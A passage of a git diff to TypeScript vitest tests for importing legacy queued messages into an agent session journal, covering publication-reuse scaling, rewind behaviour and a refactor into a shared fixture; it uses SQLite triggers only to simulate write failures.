HOST_TEST_SESSION as SESSION, + hostTestOperationId +} from './structured-agent-session-host-test-data' +import { + eventually, + QUEUED_RIG_CALLER as CALLER +} from './structured-agent-session-queued-message-rig.test-fixture' + +import { + fixture, + type Legacy, + db, + handOff, + journalFor, + legacyIds, + message, + nothingSentTo, + seedLegacy, + threadWrite +} from './structured-agent-session-queue-import-contract-test-fixture' + +it.each([100, 1_000])('raw selection reuse: %i waiting cards', async (size) => { + const journal = journalFor(SESSION) + const rows = Array.from({ length: size }, (_, i): Legacy => [`waiting-${i}`, 'waiting', 'words']) + seedLegacy(SESSION, rows) + db().exec(`CREATE TEMP TRIGGER b2_raw_fail_import BEFORE DELETE ON queued_messages + BEGIN SELECT RAISE(ABORT, 'disk full'); END`) + await journal.open() + expect(legacyIds()).toHaveLength(size) + const feed = new AgentSessionSubscribers() + const base = { sessionId: SESSION, journal, fence: 0, cursor: journal.cursor() } + const received: AgentSessionSubscribeEvent[][] = [[], [], []] + received.forEach((events, index) => + feed.open({ + ...base, + id: String(index), + boundedFrames: index === 1, + snapshotCatchUp: index !== 2, + readsCurrentRequests: index !== 2, + emit: (event) => events.push(event) + }) + ) + let visits = 0 + const flatMap = Array.prototype.flatMap + const scans = vi.spyOn(Array.prototype, 'flatMap') + scans.mockImplementation(function (this: { messageId?: string }[], callback, thisArg) { + const legacy = this.length === size && this[0]?.messageId === 'waiting-0' + return flatMap.call(this, (...args) => { + visits += legacy ? 1 : 0 + return callback.apply(thisArg, args) + }) + }) + try { + const turn = { provider: 'codex' as const, threadId: 'progress', turnId: 't', ordinal: 0 } + await journal.appendItem(turn, message('progress'), threadWrite) + feed.publish(SESSION, journal) + expect(visits).toBe(2 * size) + expect(journal.publicRead().normalizationKey).toBe('') + expect(journal.queuedMessages.list().filter((c) => c.state === 'waiting')).toHaveLength(size) + for (const events of received) { + const items = events.flatMap((e) => (e.type === 'batch' ? e.batch.items : [])) + expect(items.map((i) => i.body)).toContainEqual(message('progress')) + expect(events.filter((e) => e.type === 'snapshot')).toHaveLength(0) + } + visits = 0 + for (let p = 0; p < 5; p++) { + feed.publish(SESSION, journal) + } + expect(visits).toBe(0) + const answered = { turn: { ...turn, ordinal: -1 }, via: 'steer' as const } + await handOff(journal, 'u', 'waiting-0', 'words', 'cancelled', 0, undefined, answered) + feed.publish(SESSION, journal) + const view = journal.publicRead() + expect(view.normalizationKey).not.toBe('') + expect(view.snapshot.submissions.find((s) => s.clientMessageId === 'u')).toMatchObject({ + dispatchState: 'unknown', + queuedMessageId: 'waiting-0' + }) + const item = view.snapshot.items.find((i) => i.itemId === agentJournalSubmissionKey('u')) + expect(item?.body).toEqual(message('words')) + expect(item?.sequence).toBeLessThan(journal.cursor().sequence) + expect(journal.submission('u')?.dispatchState).toBe('rejected') + expect(visits).toBeGreaterThanOrEqual(2 * size) + visits = 0 + for (let p = 0; p < 5; p++) { + feed.publish(SESSION, journal) + } + expect(visits).toBe(0) + expect(received.map((es) => es.filter((e) => e.type === 'snapshot').length)).toEqual([1, 1, 0]) + } finally { + scans.mockRestore() + db().exec('DROP TRIGGER b2_raw_fail_import') + await journal.close() + } +}) + +it('public metadata follows legacy-only commits, item recreation and epoch replacement', async () => { + const earlier = journalFor(SESSION) + await earlier.open() + await earlier.queuedMessages.insert({ messageId: 'q', body: message('words') }) + await handOff(earlier, 'u', 'q', 'words', 'cancelled') + await earlier.close() + seedLegacy(SESSION, [['gone', 'withdrawn', 'deleted']]) + db().exec(`CREATE TEMP TRIGGER b2_source_fail_import BEFORE DELETE ON queued_messages + BEGIN SELECT RAISE(ABORT, 'disk full'); END`) + const journal = journalFor(SESSION) + await journal.open() + const ids = vi.spyOn(journal.queuedMessages.displayState().normalizedHandOffs, Symbol.iterator) + const key = journal.publicRead().normalizationKey + const snapshot = journal.snapshot() + expect(journal.snapshot()).toBe(snapshot) + expect(key).not.toBe('') + const cursor = journal.cursor() + const catchUp = createAgentSessionCatchUpReader(journal, undefined, journal.publicRead()) + const request = { sessionId: SESSION, direction: 'tail' as const } + const beforeImport = catchUp(request) + expect(beforeImport).toMatchObject({ ok: true, page: { items: snapshot.items } }) + db().exec('DROP TRIGGER b2_source_fail_import') + await journal.queuedMessages.importAtOpen() + expect(journal.cursor()).toEqual(cursor) + expect(legacyIds()).toEqual([]) + expect(journal.snapshot()).not.toBe(snapshot) + expect(catchUp(request)).toEqual(beforeImport) + expect(ids).toHaveBeenCalledTimes(1) + expect(journal.publicRead().normalizationKey).toBe(key) + expect(ids).toHaveBeenCalledTimes(2) + ids.mockRestore() + const identity = { provider: 'orca' as const, clientMessageId: 'u' } + await journal.appendTombstone(identity, { fence: 0 }) + expect(journal.publicRead().normalizationKey).toBe('') + expect(journal.snapshot().items).toEqual([]) + await journal.appendItem(identity, message('recreated'), threadWrite) + expect([key, '']).not.toContain(journal.publicRead().normalizationKey) + expect(journal.snapshot().items[0]?.body).toEqual(message('recreated')) + await journal.rollEpoch('handle_forked', 0) + expect(journal.epoch).not.toBe(cursor.epoch) + expect(journal.publicRead().normalizationKey).toBe('') + expect(journal.snapshot().items).toEqual([]) + await journal.close() +}) + +it('a rewind while the import has failed moves the legacy cards first: a refused one stays returned', async () => { + const earlier = journalFor(SESSION) + const clear = { command: 'clear' as const } + expect( + await fixture.rig.host.conversationCommand(CALLER, { + ...clear, + envelope: fixture.rig.envelope( + clear, + 'agentSession.conversationCommand', + hostTestOperationId() + ) + }) + ).toMatchObject({ ok: true }) + const target = fixture.rig.send('rewound away') + expect(await target.result).toMatchObject({ ok: true }) + await eventually(async () => + expect((await fixture.rig.submission(target.id))?.handedOverAt).toBeDefined() + ) + await fixture.rig.settleAccepted(target.id, 'target') + await fixture.rig.host.close(SESSION, 'evict') + await earlier.open() + const fence = fixture.rig.store.getRecord(SESSION)!.lease.runtimeFence + await handOff( + earlier, + 'att-refused', + 'disp-refused', + 'refused, never settled', + 'providerRejected', + fence + ) + await earlier.close() + seedLegacy(SESSION, [ + ['disp-refused', 'dispatched', 'refused, never settled', 'att-refused'], + ['edited', 'waiting', 'waiting, edited'] + ]) + db().exec(`CREATE TEMP TRIGGER fail_import BEFORE DELETE ON queued_messages + BEGIN SELECT RAISE(ABORT, 'disk full'); END`) + const warned = vi.spyOn(console, 'warn').mockImplementation(() => undefined) + const held = [ + { messageId: 'disp-refused', state: 'returned' }, + { messageId: 'edited', state: 'waiting' } + ] + expect(await fixture.rig.drafts()).toEqual(held) + db().exec('DROP TRIGGER fail_import') + warned.mockRestore() + + const live = fixture.rig.host.collaboratorsForTests().sessions.get(SESSION)!.journal + const rewound = { itemId: agentJournalSubmissionKey(target.id), expectedEpoch: live.epoch } + expect( + await fixture.rig.host.rewind(CALLER, { + ...rewound, + envelope: fixture.rig.envelope(rewound, 'agentSession.rewind', hostTestOperationId()) + }) + ).toMatchObject({ ok: true }) + expect(live.epoch).toBe(rewound.expectedEpoch) + expect(live.submission('att-refused')).toBeUndefined() + expect(await fixture.rig.drafts()).toEqual(held) + await nothingSentTo('edited') + expect(legacyIds()).toEqual([]) +}) diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-queue-import-scaling.test.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-queue-import-scaling.test.ts new file mode 100644 index 00000000000..e0b17e43649 --- /dev/null +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-queue-import-scaling.test.ts @@ -0,0 +1,167 @@ +import { expect, it, vi } from 'vitest' +import { AGENT_JOURNAL_THREAD_SCOPE } from '../../../shared/agent-session-journal-types' +import type { AgentSessionSubscribeEvent } from '../../../shared/agent-session-wire' +import { AgentSessionSubscribers } from './structured-agent-session-subscribers' +import { HOST_TEST_SESSION as SESSION } from './structured-agent-session-host-test-data' + +import { + type Legacy, + db, + handOff, + journalFor, + legacyIds, + message, + seedLegacy +} from './structured-agent-session-queue-import-contract-test-fixture' + +it.each([100, 1_000].flatMap((size) => [false, true].map((adopt) => ({ size, adopt }))))( + 'publication reuse: $size historical items, adopted=$adopt', + async ({ size, adopt }) => { + const corrections = size / 10 + const earlier = journalFor(SESSION) + await earlier.open() + await handOff(earlier, 'u-0', 'q-0', 'stopped words', 'cancelled', 0, async () => { + for (let ordinal = 0; ordinal < size; ordinal++) { + await earlier.appendItem( + { provider: 'codex', threadId: 'history', turnId: 't', ordinal }, + { ...message('old answer'), role: 'assistant' }, + { fence: 0, turnScope: AGENT_JOURNAL_THREAD_SCOPE } + ) + } + }) + for (let index = 1; index < corrections; index++) { + await handOff(earlier, `u-${index}`, `q-${index}`, 'stopped words', 'cancelled') + } + await earlier.close() + seedLegacy( + SESSION, + Array.from({ length: corrections }, (_, i): Legacy => [`q-${i}`, 'waiting', 'stopped words']) + ) + if (!adopt) { + db().exec(`CREATE TEMP TRIGGER b2_perf_fail_import BEFORE DELETE ON queued_messages + BEGIN SELECT RAISE(ABORT, 'disk full'); END`) + } + const journal = journalFor(SESSION) + await journal.open() + expect(legacyIds()).toHaveLength(adopt ? 0 : corrections) + const display = journal.queuedMessages.displayState() + const feed = new AgentSessionSubscribers() + const events: AgentSessionSubscribeEvent[] = [] + let visits = 0 + let keyVisits = 0 + function counted(iterator: MapIterator, correction = false): MapIterator { + const next = iterator.next.bind(iterator) + iterator.next = (...args) => { + const result = next(...args) + if (!result.done) { + if (correction) { + keyVisits++ + } else { + visits++ + } + } + return result + } + return iterator + } + const values = Map.prototype.values + const entries = Map.prototype[Symbol.iterator] + const valuesRead = vi.spyOn(Map.prototype, 'values').mockImplementation(function ( + this: Map + ) { + return counted(values.call(this)) + }) + const entriesRead = vi.spyOn(Map.prototype, Symbol.iterator).mockImplementation(function ( + this: Map + ) { + return counted(entries.call(this)) + }) + const setIterator = Set.prototype[Symbol.iterator] + const sets = vi.spyOn(Set.prototype, Symbol.iterator).mockImplementation(function ( + this: Set + ) { + return this.has('u-0') ? counted(setIterator.call(this), true) : setIterator.call(this) + }) + const gets = vi.spyOn(Map.prototype, 'get') + const sourceGets = () => + gets.mock.contexts.filter((m) => m === display.items || m === display.submissions) + const sorts = vi.spyOn(Array.prototype, 'sort') + const json = vi.spyOn(JSON, 'stringify') + const work = () => [ + keyVisits, + sorts.mock.contexts.filter((v) => Array.isArray(v) && v[0] === 'u-0').length, + json.mock.calls.filter( + ([v]) => Array.isArray(v) && Array.isArray(v[1]) && v[1][0]?.[0] === 'u-0' + ).length + ] + const reset = () => { + keyVisits = 0 + gets.mockClear() + sorts.mockClear() + json.mockClear() + } + try { + for (const id of ['perf-a', 'perf-b', 'old']) { + feed.open({ + sessionId: SESSION, + journal, + fence: 0, + id, + boundedFrames: id === 'perf-b', + cursor: journal.cursor(), + snapshotCatchUp: id !== 'old', + readsCurrentRequests: id !== 'old', + emit: (event) => events.push(event) + }) + } + expect(work()).toEqual([corrections, 1, 1]) + expect(sourceGets()).toHaveLength(2 * corrections) + expect(visits).toBeGreaterThanOrEqual(size) + const key = journal.publicRead().normalizationKey + reset() + visits = 0 + for (let publication = 0; publication < 5; publication++) { + feed.publish(SESSION, journal) + } + // Only subscriber visits; history copies/materialization would add N visits. + expect(visits).toBe(15) + expect(work()).toEqual([0, 0, 0]) + expect(sourceGets()).toHaveLength(0) + const cursor = journal.cursor() + const snapshot = journal.snapshot() + await journal.open() + expect(journal.cursor()).toEqual(cursor) + expect(journal.queuedMessages.displayState() === display).toBe(false) + expect(journal.snapshot()).not.toBe(snapshot) + feed.publish(SESSION, journal) + // A reopen that retries the failed import writes one card; its outcome write lists that card + // once in the card map and once in the order set: a constant 2, whatever the history size. + expect(work()).toEqual([corrections + (adopt ? 0 : 2), 1, 1]) + reset() + await journal.appendItem( + { provider: 'codex', threadId: 'progress', turnId: 't', ordinal: 0 }, + message('progress'), + { fence: 0, turnScope: AGENT_JOURNAL_THREAD_SCOPE } + ) + expect(journal.snapshot().items.at(-1)?.body).toEqual(message('progress')) + expect(work()).toEqual([0, 0, 0]) + reset() + feed.publish(SESSION, journal) + const latest = events.at(-1) + expect(latest?.type === 'batch' && latest.batch.items.at(-1)?.body).toEqual( + message('progress') + ) + expect(work()).toEqual([corrections, 1, 1]) + expect(journal.publicRead().normalizationKey).toBe(key) + } finally { + for (const spy of [sets, gets, sorts, json, entriesRead, valuesRead]) { + spy.mockRestore() + } + if (!adopt) { + db().exec('DROP TRIGGER b2_perf_fail_import') + } + } + expect(events.filter((event) => event.type === 'snapshot')).toHaveLength(2) + await journal.close() + } +) diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-queued-legacy-import.test.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-queued-legacy-import.test.ts index d23c33a6ba1..b64235a408e 100644 --- a/src/main/native-chat/agent-session-wire/structured-agent-session-queued-legacy-import.test.ts +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-queued-legacy-import.test.ts @@ -1,173 +1,29 @@ -import { afterEach, beforeEach, expect, it, vi } from 'vitest' +import { expect, it, vi } from 'vitest' import { agentJournalSubmissionKey } from '../../../shared/agent-session-journal-item-key' -import { agentSessionFailureFact } from '../../../shared/agent-session-failure' -import { agentSessionFailureWords } from '../../../shared/agent-session-failure-words' -import { - AGENT_JOURNAL_THREAD_SCOPE, - type AgentJournalAnsweredTurnIdentity, - type AgentJournalMessageItem -} from '../../../shared/agent-session-journal-types' -import { activeProviderContext } from '../../../shared/agent-session-provider-context' +import { AGENT_JOURNAL_THREAD_SCOPE } from '../../../shared/agent-session-journal-types' import { projectStructuredAgentSessionMessages } from '../../../shared/structured-agent-session-message-projection' import { structuredAgentSessionCommandTurnIdentity } from '../../../shared/structured-agent-session-command-turn-identity' -import { agentSessionSendBodyFingerprint } from '../../../shared/structured-agent-session-send-mutation' -import type { AgentSessionSubscribeEvent } from '../../../shared/agent-session-wire' -import { - EMPTY_STRUCTURED_AGENT_SESSION, - reduceStructuredAgentSession -} from '../../../shared/structured-agent-session-reducer' -import { AgentSessionSubscribers } from './structured-agent-session-subscribers' -import { - createAgentSessionCatchUpReader, - readAgentSessionHistory -} from './agent-session-history-page' -import { subscriberHistoryReader } from './agent-session-bounded-frames' -import { openTestJournalHostDatabase } from '../agent-session-journal/journal-host-database-test-support' -import { AgentSessionJournal } from '../agent-session-journal/journal-store' import { HOST_TEST_SESSION as SESSION, hostTestOperationId } from './structured-agent-session-host-test-data' +import { eventually } from './structured-agent-session-queued-message-rig.test-fixture' + import { - createQueuedMessageTestRig, - eventually, - QUEUED_RIG_CALLER as CALLER, - type QueuedMessageTestRig -} from './structured-agent-session-queued-message-rig.test-fixture' - -let rig: QueuedMessageTestRig - -beforeEach(async () => { - rig = await createQueuedMessageTestRig({ restartable: true, rewind: async () => ({ ok: true }) }) -}) - -afterEach(() => rig.dispose()) - -const db = () => openTestJournalHostDatabase(rig.root).db -const message = (text: string): AgentJournalMessageItem => ({ - kind: 'message', - role: 'user', - blocks: [{ type: 'text', text }], - ...(text === '/compact' ? { command: { name: 'compact' } } : {}) -}) -const threadWrite = { fence: 0, turnScope: AGENT_JOURNAL_THREAD_SCOPE } -const words = (fact: 'providerRejected' | 'cancelled') => - agentSessionFailureWords( - fact === 'providerRejected' - ? agentSessionFailureFact(fact, { detail: { text: 'refused', audience: 'person' } }) - : agentSessionFailureFact(fact), - { surface: 'rejection' } - ) - -function journalFor(sessionId: string): AgentSessionJournal { - return new AgentSessionJournal({ - database: openTestJournalHostDatabase(rig.root), - identity: { - sessionId, - workspaceId: 'workspace-1', - hostId: 'local', - agent: 'codex', - providerHandle: activeProviderContext(rig.store.getRecord(SESSION)!).head!.handle - } - }) -} - -async function handOff( - journal: AgentSessionJournal, - attempt: string, - card: string, - text: string, - as: 'providerRejected' | 'cancelled' | 'accepted', - fence = 0, - beforeAnswer?: () => Promise, - answeredInTurn?: AgentJournalAnsweredTurnIdentity -): Promise { - const body = message(text) - const payloadFingerprint = agentSessionSendBodyFingerprint(journal.queuedMessages.sessionId, body) - await journal.appendSubmission({ - clientMessageId: attempt, - payloadFingerprint, - body, - fence, - handoverRecorded: true, - queuedMessageId: card - }) - await journal.resolveDispatch({ - clientMessageId: attempt, - state: 'pending', - fence, - turnScope: AGENT_JOURNAL_THREAD_SCOPE - }) - await beforeAnswer?.() - await journal.resolveDispatch( - as === 'accepted' - ? { clientMessageId: attempt, state: 'accepted', providerIdentity: null, fence } - : { clientMessageId: attempt, state: 'rejected', ...words(as), fence, answeredInTurn } - ) -} - -type Legacy = [id: string, state: string, text: string | null, consumedAs?: string, hold?: string] - -function seedLegacy(sessionId: string, rows: readonly Legacy[]): void { - const insert = db().prepare( - `INSERT INTO queued_messages (session_id, message_id, position, body_json, fingerprint, - created_at, host_instance, state, hold_reason, returned_reason, consumed_as) - VALUES (?, ?, ?, ?, ?, 0, 'earlier', ?, ?, ?, ?)` - ) - rows.forEach(([id, state, text, consumedAs, hold], index) => { - const body = text === null ? '{' : JSON.stringify(message(text)) - const print = text === null ? '' : agentSessionSendBodyFingerprint(sessionId, message(text)) - const reason = state === 'returned' ? 'refused before' : null - insert.run( - sessionId, - id, - index + 1, - body, - print, - state, - hold ?? null, - reason, - consumedAs ?? null - ) - }) -} - -const legacyIds = (sessionId = SESSION) => - db() - .prepare('SELECT message_id AS id FROM queued_messages WHERE session_id = ? ORDER BY position') - .all(sessionId) - .map((row) => (typeof row === 'object' && row !== null && 'id' in row ? row.id : null)) - -function queueRows(sessionId = SESSION): string[] { - return db() - .prepare('SELECT row_json FROM journal_rows WHERE session_id = ? ORDER BY seq') - .all(sessionId) - .flatMap((row) => { - const json = typeof row === 'object' && row !== null && 'row_json' in row ? row.row_json : '' - const parsed: unknown = JSON.parse(String(json)) - if (typeof parsed !== 'object' || parsed === null || !('kind' in parsed)) { - return [] - } - if (parsed.kind !== 'queue' || !('messageId' in parsed) || !('change' in parsed)) { - return [] - } - const change = JSON.stringify(parsed.change) - const op = /"op":"(\w+)"/.exec(change)?.[1] - return [`${String(parsed.messageId)}:${op}${change.includes('"returned"') ? '+refusal' : ''}`] - }) -} - -async function nothingSentTo(...cards: string[]): Promise { - await new Promise((resolve) => setTimeout(resolve, 100)) - for (const card of cards) { - expect(await rig.handoff(card)).toBeUndefined() - } -} + fixture, + db, + handOff, + journalFor, + legacyIds, + nothingSentTo, + queueRows, + seedLegacy +} from './structured-agent-session-queue-import-contract-test-fixture' it("moves an earlier build's cards into the journal, each action its own card, the rest once per open", async () => { // Legacy handoffs were journaled while cards lived in a separate table. - await rig.drafts() - await rig.host.close(SESSION, 'evict') + await fixture.rig.drafts() + await fixture.rig.host.close(SESSION, 'evict') const earlier = journalFor(SESSION) await earlier.open() await handOff(earlier, 'att-present', 'ret-present', 'returned here', 'providerRejected') @@ -210,14 +66,14 @@ it("moves an earlier build's cards into the journal, each action its own card, t { messageId: 'edited', state: 'waiting' }, { messageId: 'held', state: 'waiting', paused: true } ] - expect(await rig.drafts()).toEqual(published) + expect(await fixture.rig.drafts()).toEqual(published) const stopped = async () => { - const { items, submissions } = await rig.host.journalSnapshot(SESSION) + const { items, submissions } = await fixture.rig.host.journalSnapshot(SESSION) return projectStructuredAgentSessionMessages(items, [], submissions).find( (entry) => entry.id === agentJournalSubmissionKey('att-stopped') ) } - const live = rig.host.collaboratorsForTests().sessions.get(SESSION)!.journal + const live = fixture.rig.host.collaboratorsForTests().sessions.get(SESSION)!.journal const rawStopped = structuredClone(live.submission('att-stopped')) const displayedStopped = await stopped() expect(displayedStopped).toMatchObject({ @@ -236,26 +92,28 @@ it("moves an earlier build's cards into the journal, each action its own card, t expect(queueRows()).toEqual([]) const deletion = hostTestOperationId() - expect(await rig.deleteQueued('ret-present', deletion)).toMatchObject({ + expect(await fixture.rig.deleteQueued('ret-present', deletion)).toMatchObject({ value: { deleted: true } }) - const sent = await rig.sendNow('ret-gone') + const sent = await fixture.rig.sendNow('ret-gone') expect(sent).toMatchObject({ ok: true, value: { submission: { queuedMessageId: 'ret-gone' } } }) + // Saved cards are whole values: an import stores each card as it reads, refused or not. expect(queueRows()).toEqual([ - 'ret-present:queued', + 'ret-present:queued+refusal', 'ret-present:withdrawn', - 'ret-gone:queued+refusal' + 'ret-gone:queued+refusal', + 'ret-gone:dispatched' ]) expect(legacyIds()).toEqual(all.filter((id) => id !== 'ret-present' && id !== 'ret-gone')) await nothingSentTo('edited', 'held') // Reopen imports atomically; write refusals only for handoffs absent from this epoch. - await rig.restartHostProcess() - expect(await rig.drafts()).toEqual(published.slice(2)) + await fixture.rig.restartHostProcess() + expect(await fixture.rig.drafts()).toEqual(published.slice(2)) expect(legacyIds()).toEqual(['broken']) - expect(queueRows().slice(3)).toEqual([ + expect(queueRows().slice(4)).toEqual([ 'cmd-gone:queued+refusal', - 'disp-refused:queued', + 'disp-refused:queued+refusal', 'stopped-same:queued', 'stopped-edited:queued', 'orphan:queued', @@ -266,33 +124,33 @@ it("moves an earlier build's cards into the journal, each action its own card, t expect(await stopped()).toEqual(displayedStopped) // Refused commands become spent once their own turn reports failure. - const adopted = rig.host.collaboratorsForTests().sessions.get(SESSION)!.journal + const adopted = fixture.rig.host.collaboratorsForTests().sessions.get(SESSION)!.journal await adopted.appendItem( structuredAgentSessionCommandTurnIdentity('att-cmd'), { kind: 'status', text: 'Compact failed' }, { - fence: rig.store.getRecord(SESSION)!.lease.runtimeFence, + fence: fixture.rig.store.getRecord(SESSION)!.lease.runtimeFence, turnScope: AGENT_JOURNAL_THREAD_SCOPE } ) - expect(await rig.drafts()).toEqual(published.slice(3)) - expect(await rig.deleteQueued('disp-refused')).toMatchObject({ value: { deleted: true } }) - await rig.resume() - await eventually(async () => expect(await rig.handoff('edited')).toBeDefined()) + expect(await fixture.rig.drafts()).toEqual(published.slice(3)) + expect(await fixture.rig.deleteQueued('disp-refused')).toMatchObject({ value: { deleted: true } }) + await fixture.rig.resume() + await eventually(async () => expect(await fixture.rig.handoff('edited')).toBeDefined()) await nothingSentTo('held') - expect((await rig.handoff('stopped-edited'))?.clientMessageId).toBe('att-edited') - expect(await rig.sendNow('stopped-edited')).toMatchObject({ ok: true }) - const resent = await rig.handoffId('stopped-edited') + expect((await fixture.rig.handoff('stopped-edited'))?.clientMessageId).toBe('att-edited') + expect(await fixture.rig.sendNow('stopped-edited')).toMatchObject({ ok: true }) + const resent = await fixture.rig.handoffId('stopped-edited') expect(resent).not.toBe('att-edited') - await rig.settleAccepted(resent, 'resent') + await fixture.rig.settleAccepted(resent, 'resent') const rows = queueRows() - await rig.restartHostProcess() - await rig.drafts() + await fixture.rig.restartHostProcess() + await fixture.rig.drafts() expect(queueRows()).toEqual(rows) expect(await stopped()).toEqual(displayedStopped) expect(legacyIds()).toEqual(['broken']) - expect(await rig.deleteQueued('ret-present', deletion)).toMatchObject({ + expect(await fixture.rig.deleteQueued('ret-present', deletion)).toMatchObject({ replayed: true, value: { deleted: true } }) @@ -313,519 +171,3 @@ it("moves an earlier build's cards into the journal, each action its own card, t expect(reopened.queuedMessages.list()).toEqual([]) await reopened.close() }) - -it.each([100, 1_000].flatMap((size) => [false, true].map((adopt) => ({ size, adopt }))))( - 'publication reuse: $size historical items, adopted=$adopt', - async ({ size, adopt }) => { - const corrections = size / 10 - const earlier = journalFor(SESSION) - await earlier.open() - await handOff(earlier, 'u-0', 'q-0', 'stopped words', 'cancelled', 0, async () => { - for (let ordinal = 0; ordinal < size; ordinal++) { - await earlier.appendItem( - { provider: 'codex', threadId: 'history', turnId: 't', ordinal }, - { ...message('old answer'), role: 'assistant' }, - { fence: 0, turnScope: AGENT_JOURNAL_THREAD_SCOPE } - ) - } - }) - for (let index = 1; index < corrections; index++) { - await handOff(earlier, `u-${index}`, `q-${index}`, 'stopped words', 'cancelled') - } - await earlier.close() - seedLegacy( - SESSION, - Array.from({ length: corrections }, (_, i): Legacy => [`q-${i}`, 'waiting', 'stopped words']) - ) - if (!adopt) { - db().exec(`CREATE TEMP TRIGGER b2_perf_fail_import BEFORE DELETE ON queued_messages - BEGIN SELECT RAISE(ABORT, 'disk full'); END`) - } - const journal = journalFor(SESSION) - await journal.open() - expect(legacyIds()).toHaveLength(adopt ? 0 : corrections) - const display = journal.queuedMessages.displayState() - const feed = new AgentSessionSubscribers() - const events: AgentSessionSubscribeEvent[] = [] - let visits = 0 - let keyVisits = 0 - function counted(iterator: MapIterator, correction = false): MapIterator { - const next = iterator.next.bind(iterator) - iterator.next = (...args) => { - const result = next(...args) - if (!result.done) { - if (correction) { - keyVisits++ - } else { - visits++ - } - } - return result - } - return iterator - } - const values = Map.prototype.values - const entries = Map.prototype[Symbol.iterator] - const valuesRead = vi.spyOn(Map.prototype, 'values').mockImplementation(function ( - this: Map - ) { - return counted(values.call(this)) - }) - const entriesRead = vi.spyOn(Map.prototype, Symbol.iterator).mockImplementation(function ( - this: Map - ) { - return counted(entries.call(this)) - }) - const setIterator = Set.prototype[Symbol.iterator] - const sets = vi.spyOn(Set.prototype, Symbol.iterator).mockImplementation(function ( - this: Set - ) { - return this.has('u-0') ? counted(setIterator.call(this), true) : setIterator.call(this) - }) - const gets = vi.spyOn(Map.prototype, 'get') - const sourceGets = () => - gets.mock.contexts.filter((m) => m === display.items || m === display.submissions) - const sorts = vi.spyOn(Array.prototype, 'sort') - const json = vi.spyOn(JSON, 'stringify') - const work = () => [ - keyVisits, - sorts.mock.contexts.filter((v) => Array.isArray(v) && v[0] === 'u-0').length, - json.mock.calls.filter( - ([v]) => Array.isArray(v) && Array.isArray(v[1]) && v[1][0]?.[0] === 'u-0' - ).length - ] - const reset = () => { - keyVisits = 0 - gets.mockClear() - sorts.mockClear() - json.mockClear() - } - try { - for (const id of ['perf-a', 'perf-b', 'old']) { - feed.open({ - sessionId: SESSION, - journal, - fence: 0, - id, - boundedFrames: id === 'perf-b', - cursor: journal.cursor(), - snapshotCatchUp: id !== 'old', - readsCurrentRequests: id !== 'old', - emit: (event) => events.push(event) - }) - } - expect(work()).toEqual([corrections, 1, 1]) - expect(sourceGets()).toHaveLength(2 * corrections) - expect(visits).toBeGreaterThanOrEqual(size) - const key = journal.publicRead().normalizationKey - reset() - visits = 0 - for (let publication = 0; publication < 5; publication++) { - feed.publish(SESSION, journal) - } - // Only subscriber visits; history copies/materialization would add N visits. - expect(visits).toBe(15) - expect(work()).toEqual([0, 0, 0]) - expect(sourceGets()).toHaveLength(0) - const cursor = journal.cursor() - const snapshot = journal.snapshot() - await journal.open() - expect(journal.cursor()).toEqual(cursor) - expect(journal.queuedMessages.displayState() === display).toBe(false) - expect(journal.snapshot()).not.toBe(snapshot) - feed.publish(SESSION, journal) - expect(work()).toEqual([corrections, 1, 1]) - reset() - await journal.appendItem( - { provider: 'codex', threadId: 'progress', turnId: 't', ordinal: 0 }, - message('progress'), - { fence: 0, turnScope: AGENT_JOURNAL_THREAD_SCOPE } - ) - expect(journal.snapshot().items.at(-1)?.body).toEqual(message('progress')) - expect(work()).toEqual([0, 0, 0]) - reset() - feed.publish(SESSION, journal) - const latest = events.at(-1) - expect(latest?.type === 'batch' && latest.batch.items.at(-1)?.body).toEqual( - message('progress') - ) - expect(work()).toEqual([corrections, 1, 1]) - expect(journal.publicRead().normalizationKey).toBe(key) - } finally { - for (const spy of [sets, gets, sorts, json, entriesRead, valuesRead]) { - spy.mockRestore() - } - if (!adopt) { - db().exec('DROP TRIGGER b2_perf_fail_import') - } - } - expect(events.filter((event) => event.type === 'snapshot')).toHaveLength(2) - await journal.close() - } -) - -it.each([100, 1_000])('raw selection reuse: %i waiting cards', async (size) => { - const journal = journalFor(SESSION) - const rows = Array.from({ length: size }, (_, i): Legacy => [`waiting-${i}`, 'waiting', 'words']) - seedLegacy(SESSION, rows) - db().exec(`CREATE TEMP TRIGGER b2_raw_fail_import BEFORE DELETE ON queued_messages - BEGIN SELECT RAISE(ABORT, 'disk full'); END`) - await journal.open() - expect(legacyIds()).toHaveLength(size) - const feed = new AgentSessionSubscribers() - const base = { sessionId: SESSION, journal, fence: 0, cursor: journal.cursor() } - const received: AgentSessionSubscribeEvent[][] = [[], [], []] - received.forEach((events, index) => - feed.open({ - ...base, - id: String(index), - boundedFrames: index === 1, - snapshotCatchUp: index !== 2, - readsCurrentRequests: index !== 2, - emit: (event) => events.push(event) - }) - ) - let visits = 0 - const flatMap = Array.prototype.flatMap - const scans = vi.spyOn(Array.prototype, 'flatMap') - scans.mockImplementation(function (this: { messageId?: string }[], callback, thisArg) { - const legacy = this.length === size && this[0]?.messageId === 'waiting-0' - return flatMap.call(this, (...args) => { - visits += legacy ? 1 : 0 - return callback.apply(thisArg, args) - }) - }) - try { - const turn = { provider: 'codex' as const, threadId: 'progress', turnId: 't', ordinal: 0 } - await journal.appendItem(turn, message('progress'), threadWrite) - feed.publish(SESSION, journal) - expect(visits).toBe(2 * size) - expect(journal.publicRead().normalizationKey).toBe('') - expect(journal.queuedMessages.list().filter((c) => c.state === 'waiting')).toHaveLength(size) - for (const events of received) { - const items = events.flatMap((e) => (e.type === 'batch' ? e.batch.items : [])) - expect(items.map((i) => i.body)).toContainEqual(message('progress')) - expect(events.filter((e) => e.type === 'snapshot')).toHaveLength(0) - } - visits = 0 - for (let p = 0; p < 5; p++) { - feed.publish(SESSION, journal) - } - expect(visits).toBe(0) - const answered = { turn: { ...turn, ordinal: -1 }, via: 'steer' as const } - await handOff(journal, 'u', 'waiting-0', 'words', 'cancelled', 0, undefined, answered) - feed.publish(SESSION, journal) - const view = journal.publicRead() - expect(view.normalizationKey).not.toBe('') - expect(view.snapshot.submissions.find((s) => s.clientMessageId === 'u')).toMatchObject({ - dispatchState: 'unknown', - queuedMessageId: 'waiting-0' - }) - const item = view.snapshot.items.find((i) => i.itemId === agentJournalSubmissionKey('u')) - expect(item?.body).toEqual(message('words')) - expect(item?.sequence).toBeLessThan(journal.cursor().sequence) - 